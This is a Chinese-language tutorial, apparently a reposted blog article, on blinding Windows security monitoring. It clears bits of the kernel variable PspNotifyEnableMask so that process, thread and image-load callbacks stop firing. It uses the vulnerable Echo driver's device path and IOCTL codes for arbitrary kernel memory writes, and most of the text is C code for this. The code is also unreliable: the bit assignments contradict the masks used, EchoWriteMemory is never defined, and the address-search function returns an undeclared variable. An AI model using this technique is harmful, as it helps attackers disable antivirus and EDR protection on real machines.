清除内核回调
字数 1182 2025-08-29 08:30:36
内核回调清除技术详解
1. 内核回调机制概述
Windows内核提供了三种主要的回调机制,用于监控系统活动:
- 进程创建回调 -
PsSetCreateProcessNotifyRoutine - 线程创建回调 -
PsSetCreateThreadNotifyRoutine - 映像加载回调 -
PsSetLoadImageNotifyRoutine
这些回调通过PspNotifyEnableMask全局变量控制是否启用。
2. PspNotifyEnableMask 机制
PspNotifyEnableMask是一个关键全局变量,它决定了哪些类型的回调会被执行:
- 进程回调:由第一位和第二位控制
- 线程回调:由第三位和第四位控制
- 映像加载回调:由第0位控制
当相应位被置0时,对应类型的回调将不再触发。
3. 定位PspNotifyEnableMask
3.1 特征码搜索方法
可以通过以下步骤定位PspNotifyEnableMask:
- 首先获取ntoskrnl模块基地址
- 通过导出函数
PoRegisterCoalescingCallback向下搜索 - 找到
PspNotifyEnableMask的内存位置
3.2 代码实现示例
// 获取ntoskrnl基地址
PVOID GetNtoskrnlBase() {
ULONG size = 0;
ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &size);
PRTL_PROCESS_MODULES modules = ExAllocatePool(NonPagedPool, size);
ZwQuerySystemInformation(SystemModuleInformation, modules, size, NULL);
PVOID base = modules->Modules[0].ImageBase;
ExFreePool(modules);
return base;
}
// 搜索PspNotifyEnableMask
ULONG64 FindPspNotifyEnableMask(PVOID ntoskrnlBase) {
// 实际实现中需要根据具体Windows版本编写特征码搜索逻辑
// 这里省略具体实现细节
return maskAddress;
}
4. 清除回调的具体方法
4.1 清除进程创建回调
将PspNotifyEnableMask的第一位和第二位置0:
ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr); // 使用内核内存读取函数
maskValue &= ~0x3; // 清除最低两位
WriteMemory(maskAddr, maskValue); // 使用内核内存写入函数
4.2 清除线程创建回调
将PspNotifyEnableMask的第三位和第四位置0:
ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr);
maskValue &= ~0xC; // 清除第三和第四位(0xC = 1100b)
WriteMemory(maskAddr, maskValue);
4.3 清除映像加载回调
将PspNotifyEnableMask的第0位置0:
ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
ULONG maskValue = ReadMemory(maskAddr);
maskValue &= ~0x1; // 清除第0位
WriteMemory(maskAddr, maskValue);
5. 利用EchoDriver实现内存读写
文章提到可以使用echo_driver进行内存操作,具体方法如下:
- 驱动程序符号链接:
\??\DosDevices\EchoDrv - 关键IOCTL代码:
0x9e6a0594 - 内存复制功能:通过
0x60A26124调用MmCopyVirtualMemory
5.1 通信结构定义
typedef struct _ECHO_DRV_REQUEST {
ULONG_PTR Address;
ULONG Size;
PVOID Buffer;
ULONG Operation; // 0 = read, 1 = write
ULONG_PTR Result;
} ECHO_DRV_REQUEST, *PECHO_DRV_REQUEST;
5.2 使用示例
HANDLE OpenEchoDriver() {
UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\??\\DosDevices\\EchoDrv");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &devName, OBJ_CASE_INSENSITIVE, NULL, NULL);
IO_STATUS_BLOCK ioStatus;
HANDLE hDevice;
NTSTATUS status = ZwOpenFile(&hDevice, GENERIC_READ | GENERIC_WRITE, &objAttr, &ioStatus,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT);
if (NT_SUCCESS(status)) {
return hDevice;
}
return NULL;
}
NTSTATUS EchoReadMemory(HANDLE hDevice, ULONG_PTR address, PVOID buffer, ULONG size) {
ECHO_DRV_REQUEST request = {0};
request.Address = address;
request.Size = size;
request.Buffer = buffer;
request.Operation = 0; // read
IO_STATUS_BLOCK ioStatus;
return ZwDeviceIoControlFile(hDevice, NULL, NULL, NULL, &ioStatus,
0x9e6a0594, &request, sizeof(request), &request, sizeof(request));
}
6. 完整清除线程回调示例
void DisableThreadCallbacks() {
// 1. 获取ntoskrnl基地址
PVOID ntoskrnlBase = GetNtoskrnlBase();
// 2. 查找PspNotifyEnableMask地址
ULONG64 maskAddr = FindPspNotifyEnableMask(ntoskrnlBase);
// 3. 打开echo驱动
HANDLE hEcho = OpenEchoDriver();
if (!hEcho) return;
// 4. 读取当前mask值
ULONG maskValue = 0;
EchoReadMemory(hEcho, maskAddr, &maskValue, sizeof(maskValue));
// 5. 清除线程回调位(第三和第四位)
maskValue &= ~0xC;
// 6. 写回新值
EchoWriteMemory(hEcho, maskAddr, &maskValue, sizeof(maskValue));
// 7. 关闭驱动句柄
ZwClose(hEcho);
}
7. 注意事项
- 不同Windows版本的
PspNotifyEnableMask位置可能不同,需要针对特定版本调整特征码 - 直接修改内核内存可能导致系统不稳定
- 此技术可能被安全软件检测为恶意行为
- 在生产环境中使用前应充分测试
8. 效果验证
清除成功后:
- 进程创建回调将不再触发
- 线程创建回调将不再触发
- 映像加载回调将不再触发
可以通过监控工具如Process Monitor或自定义内核驱动程序验证回调是否已被禁用。
9. 替代方案
除了修改PspNotifyEnableMask,还可以考虑:
- 从回调链中移除特定回调
- 挂钩回调调用函数
- 修改回调函数指针
但这些方法通常需要更深入的内核知识,且兼容性可能较差。